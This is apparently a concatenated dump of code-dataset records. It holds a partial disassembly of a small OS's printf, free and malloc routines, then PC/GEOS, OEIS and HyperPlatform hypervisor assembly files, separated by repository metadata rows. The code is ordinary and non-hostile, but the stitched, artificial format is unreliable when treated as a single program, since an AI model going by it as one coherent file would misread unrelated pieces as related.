7d c4 mov %edi,-0x3c(%ebp) }while((x /= base) != 0); 41b: 89 c3 mov %eax,%ebx buf[i++] = digits[x % base]; 41d: 89 d8 mov %ebx,%eax 41f: 31 d2 xor %edx,%edx 421: 8b 7d c4 mov -0x3c(%ebp),%edi 424: f7 f1 div %ecx 426: 83 c7 01 add $0x1,%edi 429: 0f b6 92 d4 08 00 00 movzbl 0x8d4(%edx),%edx 430: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 433: 39 d9 cmp %ebx,%ecx 435: 76 e1 jbe 418 <printint+0x38> if(neg) 437: 8b 45 c0 mov -0x40(%ebp),%eax 43a: 85 c0 test %eax,%eax 43c: 74 0d je 44b <printint+0x6b> buf[i++] = '-'; 43e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 443: ba 2d 00 00 00 mov $0x2d,%edx buf[i++] = digits[x % base]; 448: 89 7d c4 mov %edi,-0x3c(%ebp) 44b: 8b 45 c4 mov -0x3c(%ebp),%eax 44e: 8b 7d bc mov -0x44(%ebp),%edi 451: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 455: eb 0f jmp 466 <printint+0x86> 457: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 45e: 66 90 xchg %ax,%ax 460: 0f b6 13 movzbl (%ebx),%edx 463: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 466: 83 ec 04 sub $0x4,%esp 469: 88 55 d7 mov %dl,-0x29(%ebp) 46c: 6a 01 push $0x1 46e: 56 push %esi 46f: 57 push %edi 470: e8 ac fe ff ff call 321 <write> while(--i >= 0) 475: 83 c4 10 add $0x10,%esp 478: 39 de cmp %ebx,%esi 47a: 75 e4 jne 460 <printint+0x80> putc(fd, buf[i]); } 47c: 8d 65 f4 lea -0xc(%ebp),%esp 47f: 5b pop %ebx 480: 5e pop %esi 481: 5f pop %edi 482: 5d pop %ebp 483: c3 ret 484: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 488: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp) 48f: e9 75 ff ff ff jmp 409 <printint+0x29> 494: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 49b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 49f: 90 nop 000004a0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4a0: 55 push %ebp 4a1: 89 e5 mov %esp,%ebp 4a3: 57 push %edi 4a4: 56 push %esi 4a5: 53 push %ebx 4a6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4a9: 8b 75 0c mov 0xc(%ebp),%esi 4ac: 0f b6 1e movzbl (%esi),%ebx 4af: 84 db test %bl,%bl 4b1: 0f 84 b9 00 00 00 je 570 <printf+0xd0> ap = (uint*)(void*)&fmt + 1; 4b7: 8d 45 10 lea 0x10(%ebp),%eax 4ba: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 4bd: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 4c0: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 4c2: 89 45 d0 mov %eax,-0x30(%ebp) 4c5: eb 38 jmp 4ff <printf+0x5f> 4c7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 4ce: 66 90 xchg %ax,%ax 4d0: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 4d3: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 4d8: 83 f8 25 cmp $0x25,%eax 4db: 74 17 je 4f4 <printf+0x54> write(fd, &c, 1); 4dd: 83 ec 04 sub $0x4,%esp 4e0: 88 5d e7 mov %bl,-0x19(%ebp) 4e3: 6a 01 push $0x1 4e5: 57 push %edi 4e6: ff 75 08 pushl 0x8(%ebp) 4e9: e8 33 fe ff ff call 321 <write> 4ee: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 4f1: 83 c4 10 add $0x10,%esp 4f4: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 4f7: 0f b6 5e ff movzbl -0x1(%esi),%ebx 4fb: 84 db test %bl,%bl 4fd: 74 71 je 570 <printf+0xd0> c = fmt[i] & 0xff; 4ff: 0f be cb movsbl %bl,%ecx 502: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 505: 85 d2 test %edx,%edx 507: 74 c7 je 4d0 <printf+0x30> } } else if(state == '%'){ 509: 83 fa 25 cmp $0x25,%edx 50c: 75 e6 jne 4f4 <printf+0x54> if(c == 'd'){ 50e: 83 f8 64 cmp $0x64,%eax 511: 0f 84 99 00 00 00 je 5b0 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 517: 81 e1 f7 00 00 00 and $0xf7,%ecx 51d: 83 f9 70 cmp $0x70,%ecx 520: 74 5e je 580 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 522: 83 f8 73 cmp $0x73,%eax 525: 0f 84 d5 00 00 00 je 600 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 52b: 83 f8 63 cmp $0x63,%eax 52e: 0f 84 8c 00 00 00 je 5c0 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 534: 83 f8 25 cmp $0x25,%eax 537: 0f 84 b3 00 00 00 je 5f0 <printf+0x150> write(fd, &c, 1); 53d: 83 ec 04 sub $0x4,%esp 540: c6 45 e7 25 movb $0x25,-0x19(%ebp) 544: 6a 01 push $0x1 546: 57 push %edi 547: ff 75 08 pushl 0x8(%ebp) 54a: e8 d2 fd ff ff call 321 <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 54f: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 552: 83 c4 0c add $0xc,%esp 555: 6a 01 push $0x1 557: 83 c6 01 add $0x1,%esi 55a: 57 push %edi 55b: ff 75 08 pushl 0x8(%ebp) 55e: e8 be fd ff ff call 321 <write> for(i = 0; fmt[i]; i++){ 563: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 567: 83 c4 10 add $0x10,%esp } state = 0; 56a: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 56c: 84 db test %bl,%bl 56e: 75 8f jne 4ff <printf+0x5f> } } } 570: 8d 65 f4 lea -0xc(%ebp),%esp 573: 5b pop %ebx 574: 5e pop %esi 575: 5f pop %edi 576: 5d pop %ebp 577: c3 ret 578: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 57f: 90 nop printint(fd, *ap, 16, 0); 580: 83 ec 0c sub $0xc,%esp 583: b9 10 00 00 00 mov $0x10,%ecx 588: 6a 00 push $0x0 58a: 8b 5d d0 mov -0x30(%ebp),%ebx 58d: 8b 45 08 mov 0x8(%ebp),%eax 590: 8b 13 mov (%ebx),%edx 592: e8 49 fe ff ff call 3e0 <printint> ap++; 597: 89 d8 mov %ebx,%eax 599: 83 c4 10 add $0x10,%esp state = 0; 59c: 31 d2 xor %edx,%edx ap++; 59e: 83 c0 04 add $0x4,%eax 5a1: 89 45 d0 mov %eax,-0x30(%ebp) 5a4: e9 4b ff ff ff jmp 4f4 <printf+0x54> 5a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 5b0: 83 ec 0c sub $0xc,%esp 5b3: b9 0a 00 00 00 mov $0xa,%ecx 5b8: 6a 01 push $0x1 5ba: eb ce jmp 58a <printf+0xea> 5bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 5c0: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 5c3: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 5c6: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 5c8: 6a 01 push $0x1 ap++; 5ca: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 5cd: 57 push %edi 5ce: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 5d1: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 5d4: e8 48 fd ff ff call 321 <write> ap++; 5d9: 89 5d d0 mov %ebx,-0x30(%ebp) 5dc: 83 c4 10 add $0x10,%esp state = 0; 5df: 31 d2 xor %edx,%edx 5e1: e9 0e ff ff ff jmp 4f4 <printf+0x54> 5e6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 5ed: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 5f0: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 5f3: 83 ec 04 sub $0x4,%esp 5f6: e9 5a ff ff ff jmp 555 <printf+0xb5> 5fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 5ff: 90 nop s = (char*)*ap; 600: 8b 45 d0 mov -0x30(%ebp),%eax 603: 8b 18 mov (%eax),%ebx ap++; 605: 83 c0 04 add $0x4,%eax 608: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 60b: 85 db test %ebx,%ebx 60d: 74 17 je 626 <printf+0x186> while(*s != 0){ 60f: 0f b6 03 movzbl (%ebx),%eax state = 0; 612: 31 d2 xor %edx,%edx while(*s != 0){ 614: 84 c0 test %al,%al 616: 0f 84 d8 fe ff ff je 4f4 <printf+0x54> 61c: 89 75 d4 mov %esi,-0x2c(%ebp) 61f: 89 de mov %ebx,%esi 621: 8b 5d 08 mov 0x8(%ebp),%ebx 624: eb 1a jmp 640 <printf+0x1a0> s = "(null)"; 626: bb cd 08 00 00 mov $0x8cd,%ebx while(*s != 0){ 62b: 89 75 d4 mov %esi,-0x2c(%ebp) 62e: b8 28 00 00 00 mov $0x28,%eax 633: 89 de mov %ebx,%esi 635: 8b 5d 08 mov 0x8(%ebp),%ebx 638: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 63f: 90 nop write(fd, &c, 1); 640: 83 ec 04 sub $0x4,%esp s++; 643: 83 c6 01 add $0x1,%esi 646: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 649: 6a 01 push $0x1 64b: 57 push %edi 64c: 53 push %ebx 64d: e8 cf fc ff ff call 321 <write> while(*s != 0){ 652: 0f b6 06 movzbl (%esi),%eax 655: 83 c4 10 add $0x10,%esp 658: 84 c0 test %al,%al 65a: 75 e4 jne 640 <printf+0x1a0> 65c: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 65f: 31 d2 xor %edx,%edx 661: e9 8e fe ff ff jmp 4f4 <printf+0x54> 666: 66 90 xchg %ax,%ax 668: 66 90 xchg %ax,%ax 66a: 66 90 xchg %ax,%ax 66c: 66 90 xchg %ax,%ax 66e: 66 90 xchg %ax,%ax 00000670 <free>: static Header base; static Header *freep; void free(void *ap) { 670: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 671: a1 a0 0b 00 00 mov 0xba0,%eax { 676: 89 e5 mov %esp,%ebp 678: 57 push %edi 679: 56 push %esi 67a: 53 push %ebx 67b: 8b 5d 08 mov 0x8(%ebp),%ebx 67e: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 680: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 683: 39 c8 cmp %ecx,%eax 685: 73 19 jae 6a0 <free+0x30> 687: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 68e: 66 90 xchg %ax,%ax 690: 39 d1 cmp %edx,%ecx 692: 72 14 jb 6a8 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 694: 39 d0 cmp %edx,%eax 696: 73 10 jae 6a8 <free+0x38> { 698: 89 d0 mov %edx,%eax 69a: 8b 10 mov (%eax),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 69c: 39 c8 cmp %ecx,%eax 69e: 72 f0 jb 690 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6a0: 39 d0 cmp %edx,%eax 6a2: 72 f4 jb 698 <free+0x28> 6a4: 39 d1 cmp %edx,%ecx 6a6: 73 f0 jae 698 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 6a8: 8b 73 fc mov -0x4(%ebx),%esi 6ab: 8d 3c f1 lea (%ecx,%esi,8),%edi 6ae: 39 fa cmp %edi,%edx 6b0: 74 1e je 6d0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6b2: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6b5: 8b 50 04 mov 0x4(%eax),%edx 6b8: 8d 34 d0 lea (%eax,%edx,8),%esi 6bb: 39 f1 cmp %esi,%ecx 6bd: 74 28 je 6e7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6bf: 89 08 mov %ecx,(%eax) freep = p; } 6c1: 5b pop %ebx freep = p; 6c2: a3 a0 0b 00 00 mov %eax,0xba0 } 6c7: 5e pop %esi 6c8: 5f pop %edi 6c9: 5d pop %ebp 6ca: c3 ret 6cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 6cf: 90 nop bp->s.size += p->s.ptr->s.size; 6d0: 03 72 04 add 0x4(%edx),%esi 6d3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6d6: 8b 10 mov (%eax),%edx 6d8: 8b 12 mov (%edx),%edx 6da: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6dd: 8b 50 04 mov 0x4(%eax),%edx 6e0: 8d 34 d0 lea (%eax,%edx,8),%esi 6e3: 39 f1 cmp %esi,%ecx 6e5: 75 d8 jne 6bf <free+0x4f> p->s.size += bp->s.size; 6e7: 03 53 fc add -0x4(%ebx),%edx freep = p; 6ea: a3 a0 0b 00 00 mov %eax,0xba0 p->s.size += bp->s.size; 6ef: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6f2: 8b 53 f8 mov -0x8(%ebx),%edx 6f5: 89 10 mov %edx,(%eax) } 6f7: 5b pop %ebx 6f8: 5e pop %esi 6f9: 5f pop %edi 6fa: 5d pop %ebp 6fb: c3 ret 6fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000700 <malloc>: return freep; } void* malloc(uint nbytes) { 700: 55 push %ebp 701: 89 e5 mov %esp,%ebp 703: 57 push %edi 704: 56 push %esi 705: 53 push %ebx 706: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 709: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 70c: 8b 3d a0 0b 00 00 mov 0xba0,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 712: 8d 70 07 lea 0x7(%eax),%esi 715: c1 ee 03 shr $0x3,%esi 718: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 71b: 85 ff test %edi,%edi 71d: 0f 84 ad 00 00 00 je 7d0 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 723: 8b 17 mov (%edi),%edx if(p->s.size >= nunits){ 725: 8b 4a 04 mov 0x4(%edx),%ecx 728: 39 f1 cmp %esi,%ecx 72a: 73 72 jae 79e <malloc+0x9e> 72c: 81 fe 00 10 00 00 cmp $0x1000,%esi 732: bb 00 10 00 00 mov $0x1000,%ebx 737: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 73a: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 741: 89 45 e4 mov %eax,-0x1c(%ebp) 744: eb 1b jmp 761 <malloc+0x61> 746: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 74d: 8d 76 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 750: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 752: 8b 48 04 mov 0x4(%eax),%ecx 755: 39 f1 cmp %esi,%ecx 757: 73 4f jae 7a8 <malloc+0xa8> 759: 8b 3d a0 0b 00 00 mov 0xba0,%edi 75f: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 761: 39 d7 cmp %edx,%edi 763: 75 eb jne 750 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 765: 83 ec 0c sub $0xc,%esp 768: ff 75 e4 pushl -0x1c(%ebp) 76b: e8 19 fc ff ff call 389 <sbrk> if(p == (char*)-1) 770: 83 c4 10 add $0x10,%esp 773: 83 f8 ff cmp $0xffffffff,%eax 776: 74 1c je 794 <malloc+0x94> hp->s.size = nu; 778: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 77b: 83 ec 0c sub $0xc,%esp 77e: 83 c0 08 add $0x8,%eax 781: 50 push %eax 782: e8 e9 fe ff ff call 670 <free> return freep; 787: 8b 15 a0 0b 00 00 mov 0xba0,%edx if((p = morecore(nunits)) == 0) 78d: 83 c4 10 add $0x10,%esp 790: 85 d2 test %edx,%edx 792: 75 bc jne 750 <malloc+0x50> return 0; } } 794: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 797: 31 c0 xor %eax,%eax } 799: 5b pop %ebx 79a: 5e pop %esi 79b: 5f pop %edi 79c: 5d pop %ebp 79d: c3 ret if(p->s.size >= nunits){ 79e: 89 d0 mov %edx,%eax 7a0: 89 fa mov %edi,%edx 7a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 7a8: 39 ce cmp %ecx,%esi 7aa: 74 54 je 800 <malloc+0x100> p->s.size -= nunits; 7ac: 29 f1 sub %esi,%ecx 7ae: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7b1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7b4: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 7b7: 89 15 a0 0b 00 00 mov %edx,0xba0 } 7bd: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 7c0: 83 c0 08 add $0x8,%eax } 7c3: 5b pop %ebx 7c4: 5e pop %esi 7c5: 5f pop %edi 7c6: 5d pop %ebp 7c7: c3 ret 7c8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 7cf: 90 nop base.s.ptr = freep = prevp = &base; 7d0: c7 05 a0 0b 00 00 a4 movl $0xba4,0xba0 7d7: 0b 00 00 base.s.size = 0; 7da: bf a4 0b 00 00 mov $0xba4,%edi base.s.ptr = freep = prevp = &base; 7df: c7 05 a4 0b 00 00 a4 movl $0xba4,0xba4 7e6: 0b 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7e9: 89 fa mov %edi,%edx base.s.size = 0; 7eb: c7 05 a8 0b 00 00 00 movl $0x0,0xba8 7f2: 00 00 00 if(p->s.size >= nunits){ 7f5: e9 32 ff ff ff jmp 72c <malloc+0x2c> 7fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 800: 8b 08 mov (%eax),%ecx 802: 89 0a mov %ecx,(%edx) 804: eb b1 jmp 7b7 <malloc+0xb7>
34.34434
135
0.415991
beff4e172b3243aa91b954536b45c71f60fcd29a
7,268
asm
Assembly
Library/User/Gen/genAppDocumentControl.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/User/Gen/genAppDocumentControl.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/User/Gen/genAppDocumentControl.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1988 -- All Rights Reserved PROJECT: PC GEOS MODULE: UserInterface/Gen FILE: genAppDocumentControl.asm ROUTINES: Name Description ---- ----------- GLB GenDocumentGroupClass Document management REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version DESCRIPTION: This file contains routines to implement the GenDocumentGroup class. $Id: genAppDocumentControl.asm,v 1.1 97/04/07 11:44:53 newdeal Exp $ ------------------------------------------------------------------------------@ COMMENT @CLASS DESCRIPTION----------------------------------------------------- GenDocumentClass Synopsis -------- GenDocumentClass is part of the document control mechanism that implements high level document handling. See the file "documentControl" for full documentation. Limitations ----------- See "documentControl". Alternatives ------------ See "documentControl". Implementation Status --------------------- See "documentControl". See Also -------- See "documentControl". ;------------------------------------------------------------------------------ ; Implementation Notes ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Most frequently asked questions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Inheritance ;------------------------------------------------------------------------------ From GenClass: ------------- GI_link LinkPart <> ; Legal parents are GenDocumentGroupClass GI_comp CompPart <> ; A GenDocumentClass object has children if it is being used as a ; content object at the head of a visual (or generic tree). GI_visMoniker lptr ; The moniker for a GenDocument is currently not used GI_kbdAccelerator KeyboardShortcut <> ; The keyboard accelerator for a document is currently not used GI_attrs GenAttrs ; Documents should be both usable and enabled GI_states GenStates ------------------------------------------------------------------------------@ UserClassStructures segment resource GenDocumentGroupClass ; ; Pass this on to each of our GenDocument children. ; method GenSendToChildren, GenDocumentGroupClass, MSG_META_REMOVING_DISK UserClassStructures ends ;--------------------------------------------------- Build segment resource COMMENT @---------------------------------------------------------------------- METHOD: GenDocumentGroupBuild -- MSG_META_RESOLVE_VARIANT_SUPERCLASS for GenDocumentGroupClass DESCRIPTION: Return the correct specific class for an object PASS: *ds:si - instance data (for object in a GenXXXX class) es - segment of GenDocumentGroupClass ax - MSG_META_RESOLVE_VARIANT_SUPERCLASS cx - master offset of variant class to build RETURN: cx:dx - class for specific UI part of object (cx = 0 for no build) ALLOWED TO DESTROY: ax, bp bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Doug 2/89 Initial version ------------------------------------------------------------------------------@ GenDocumentGroupBuild method GenDocumentGroupClass, MSG_META_RESOLVE_VARIANT_SUPERCLASS mov ax, SPIR_BUILD_APP_DOCUMENT_CONTROL GOTO GenQueryUICallSpecificUI GenDocumentGroupBuild endm COMMENT @---------------------------------------------------------------------- METHOD: GenDocumentGroupStartup -- MSG_META_APP_STARTUP for GenDocumentGroupClass DESCRIPTION: Do what we must when application first starts up. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_META_APP_STARTUP ^hdx - AppLaunchBlock RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 4/18/93 Initial Version ------------------------------------------------------------------------------@ GenDocumentGroupStartup method dynamic GenDocumentGroupClass, \ MSG_META_APP_STARTUP mov di, offset GenDocumentGroupClass call ObjCallSuperNoLock ; ; Add to removable disk list, so we'll be notified of the disk being ; removed. ; call GenDocumentGroupAddToRemovableDiskList ret GenDocumentGroupStartup endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GenDocumentGroupRemoveFromRemovableDiskList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Removes app obj from removable disk list, if it is on it CALLED BY: INTERNAL GenDocumentGroupTransparentDetach UI_Detach PASS: nothing RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 4/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GenDocumentGroupRemoveFromRemovableDiskList proc far uses ax, bx, cx, dx .enter ; ; Take ourselves off GCNSLT_REMOVABLE_DISK list, if we're on it. ; call GetRemovableDiskListArgs call GCNListRemove .leave ret GenDocumentGroupRemoveFromRemovableDiskList endp GenDocumentGroupAddToRemovableDiskList proc far uses ax, bx, cx, dx .enter ; ; Add ourselves to the GCNSLT_REMOVABLE_DISK list, if we're not ; on it. ; call GetRemovableDiskListArgs call GCNListAdd .leave ret GenDocumentGroupAddToRemovableDiskList endp GetRemovableDiskListArgs proc near mov cx, ds:[LMBH_handle] mov dx, si mov bx, MANUFACTURER_ID_GEOWORKS mov ax, GCNSLT_REMOVABLE_DISK ret GetRemovableDiskListArgs endp COMMENT @---------------------------------------------------------------------- METHOD: GenDocumentGroupDetach -- MSG_META_DETACH for GenDocumentGroupClass DESCRIPTION: Send attach to children PASS: *ds:si - instance data es - segment of GenDocumentGroupClass ax - MSG_META_APP_SHUTDOWN RETURN: none DESTROYED: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/90 Initial version ------------------------------------------------------------------------------@ GenDocumentGroupDetach method dynamic GenDocumentGroupClass, MSG_META_APP_SHUTDOWN mov di, offset GenDocumentGroupClass call ObjCallSuperNoLock ; ; Remove from removable disk list. ; call GenDocumentGroupRemoveFromRemovableDiskList Destroy ax, cx, dx, bp ret GenDocumentGroupDetach endm Build ends
23.674267
88
0.563566
adfb1efcfc1192950344181aadcfce3f2de058fe
267
asm
Assembly
programs/oeis/257/A257352.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/257/A257352.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/257/A257352.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A257352: G.f.: (1-2*x+51*x^2)/(1-x)^3. ; 1,1,51,151,301,501,751,1051,1401,1801,2251,2751,3301,3901,4551,5251,6001,6801,7651,8551,9501,10501,11551,12651,13801,15001,16251,17551,18901,20301,21751,23251,24801,26401,28051,29751,31501,33301 bin $0,2 mul $0,50 add $0,1
38.142857
196
0.719101
404f5c4255e3fc1ac7b9f35a025dcd083cdab655
12,329
asm
Assembly
HyperPlatform/Arch/x86/x86.asm
hugmyndakassi/HyperPlatform
27d9a67fb8339fafb7254f343be58ab01dd983f1
[ "MIT" ]
1,173
2016-02-26T15:38:08.000Z
2022-03-30T21:28:11.000Z
HyperPlatform/Arch/x86/x86.asm
hugmyndakassi/HyperPlatform
27d9a67fb8339fafb7254f343be58ab01dd983f1
[ "MIT" ]
85
2016-03-04T07:40:40.000Z
2022-01-20T22:00:20.000Z
HyperPlatform/Arch/x86/x86.asm
hugmyndakassi/HyperPlatform
27d9a67fb8339fafb7254f343be58ab01dd983f1
[ "MIT" ]
355
2016-03-03T13:58:53.000Z
2022-03-26T07:22:39.000Z
; Copyright (c) 2015-2021, Satoshi Tanda. All rights reserved. ; Use of this source code is governed by a MIT-style license that can be ; found in the LICENSE file. ; ; This module implements all assembler code ; .686p .model flat, stdcall .MMX .XMM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; References to C functions ; EXTERN VmmVmExitHandler@4 : PROC EXTERN VmmVmxFailureHandler@4 : PROC EXTERN UtilDumpGpRegisters@8 : PROC ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; constants ; .CONST VMX_OK EQU 0 VMX_ERROR_WITH_STATUS EQU 1 VMX_ERROR_WITHOUT_STATUS EQU 2 KTRAP_FRAME_SIZE EQU 8ch MACHINE_FRAME_SIZE EQU 14h ; The frap frame type ; https://docs.microsoft.com/en-us/windows/desktop/api/winnt/ns-winnt-_fpo_data FRAME_TRAP EQU 1 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; macros ; ; Dumps all general purpose registers and a flag register. ASM_DUMP_REGISTERS MACRO pushfd pushad ; -4 * 8 mov ecx, esp ; all_regs mov edx, esp add edx, 4*9 ; stack_pointer push ecx push edx call UtilDumpGpRegisters@8 ; UtilDumpGpRegisters(all_regs, stack_pointer); popad popfd ENDM 